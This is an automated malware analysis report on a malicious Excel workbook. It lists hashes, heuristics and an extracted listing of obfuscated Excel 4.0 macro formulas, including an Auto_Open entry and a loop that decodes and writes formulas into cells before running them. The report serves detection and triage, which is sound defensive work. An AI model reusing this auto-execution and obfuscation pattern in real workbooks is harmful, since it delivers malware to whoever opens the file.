Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae1f76be810b3c23…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:59 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: fc7499dd704c755baa0735e3307b5d86 SHA-1: 4481f82807eaef6fb4a554a37623e10037eb5e81 SHA-256: ae1f76be810b3c237c8e02f5078b33725d0ef7a697b0e9655e85c52882b38524
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6691 bytes
SHA-256: 9c4425cd4acb719b3d2f7500b8cca71e1ea3e55aafbcc3a8f0852cafd3dbb9ec
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wXpLirPhptg
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I183 
' 0018     22 LABEL : Cell Value, String Constant - cwDeAUr len=0 
' 0018     21 LABEL : Cell Value, String Constant - eNzKEX len=0 
' 0018     20 LABEL : Cell Value, String Constant - FeWmt len=0 
' 0018     26 LABEL : Cell Value, String Constant - GCgeATkWVgD len=0 
' 0018     21 LABEL : Cell Value, String Constant - HdCGGb len=0 
' 0018     24 LABEL : Cell Value, String Constant - NXvjCNFVi len=0 
' 0018     23 LABEL : Cell Value, String Constant - OcNJzbHC len=0 
' 0018     20 LABEL : Cell Value, String Constant - oSaOq len=0 
' 0018     27 LABEL : Cell Value, String Constant - pNWoCoPdGrPl len=0 
' 0018     27 LABEL : Cell Value, String Constant - RiXOCVcKNgiT len=0 
' 0018     21 LABEL : Cell Value, String Constant - rSYitu len=0 
' 0018     27 LABEL : Cell Value, String Constant - RynhnqYZbYKg len=0 
' 0018     24 LABEL : Cell Value, String Constant - SjazNBmjs len=0 
' 0018     20 LABEL : Cell Value, String Constant - sKYNK len=0 
' 0018     24 LABEL : Cell Value, String Constant - tgcOJYdbZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - tNCEfcVOJb len=0 
' 0018     24 LABEL : Cell Value, String Constant - UodbHHCul len=0 
' 0018     22 LABEL : Cell Value, String Constant - VtoctIx len=0 
' 0018     27 LABEL : Cell Value, String Constant - wdijYCYPKNDD len=0 
' 0018     21 LABEL : Cell Value, String Constant - zXtGSP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wXpLirPhptg,I93,"SET.NAME("tgcOJYdbZ",VALUE("0"))",""
'  wXpLirPhptg,I95,"SET.NAME("FeWmt",tgcOJYdbZ)",""
'  wXpLirPhptg,I97,"SET.NAME("RiXOCVcKNgiT",tgcOJYdbZ)",""
'  wXpLirPhptg,I102,"SET.NAME("RynhnqYZbYKg",COUNTA(HdCGGb))",""
'  wXpLirPhptg,I107,"SET.NAME("NXvjCNFVi",COUNTA(oSaOq))",""
'  wXpLirPhptg,I112,[],""
'  wXpLirPhptg,I116,"SET.NAME("tNCEfcVOJb","")",""
'  wXpLirPhptg,I119,"FeWmt",""
'  wXpLirPhptg,I121,"SET.NAME("wdijYCYPKNDD",HLOOKUP("*",HdCGGb,FeWmt,FALSE))",""
'  wXpLirPhptg,I124,"pNWoCoPdGrPl",""
'  wXpLirPhptg,I129,"SET.NAME("SjazNBmjs",tgcOJYdbZ)",""
'  wXpLirPhptg,I132,[],""
'  wXpLirPhptg,I134,"SjazNBmjs",""
'  wXpLirPhptg,I138,"sKYNK",""
'  wXpLirPhptg,I143,"cwDeAUr",""
'  wXpLirPhptg,I148,"VtoctIx",""
'  wXpLirPhptg,I152,"SET.NAME("zXtGSP",VALUE(HLOOKUP("*",oSaOq,VtoctIx,FALSE)))",""
'  wXpLirPhptg,I154,"rSYitu",""
'  wXpLirPhptg,I156,"tNCEfcVOJb",""
'  wXpLirPhptg,I160,"RiXOCVcKNgiT",""
'  wXpLirPhptg,I164,NEXT(),""
'  wXpLirPhptg,I167,"OcNJzbHC",""
'  wXpLirPhptg,I171,"SET.NAME("f",INT(T(FORMULA(T(tNCEfcVOJb)&"",""&T(OcNJzbHC)))))",""
'  wXpLirPhptg,I174,"GCgeATkWVgD",""
'  wXpLirPhptg,I179,NEXT(),""
'  wXpLirPhptg,I181,RETURN(),""
'  wXpLirPhptg,I206,"SET.NAME("UodbHHCul",I93)",""
'  wXpLirPhptg,I210,"HdCGGb",""
'  wXpLirPhptg,I212,"SET.NAME("oSaOq",R81C14)",""
'  wXpLirPhptg,I216,"SET.NAME("GCgeATkWVgD",223)",""
'  wXpLirPhptg,I219,"SET.NAME("eNzKEX",9)",""
'  wXpLirPhptg,I222,UodbHHCul(),""
'  wXpLirPhptg,I223,HALT(),""

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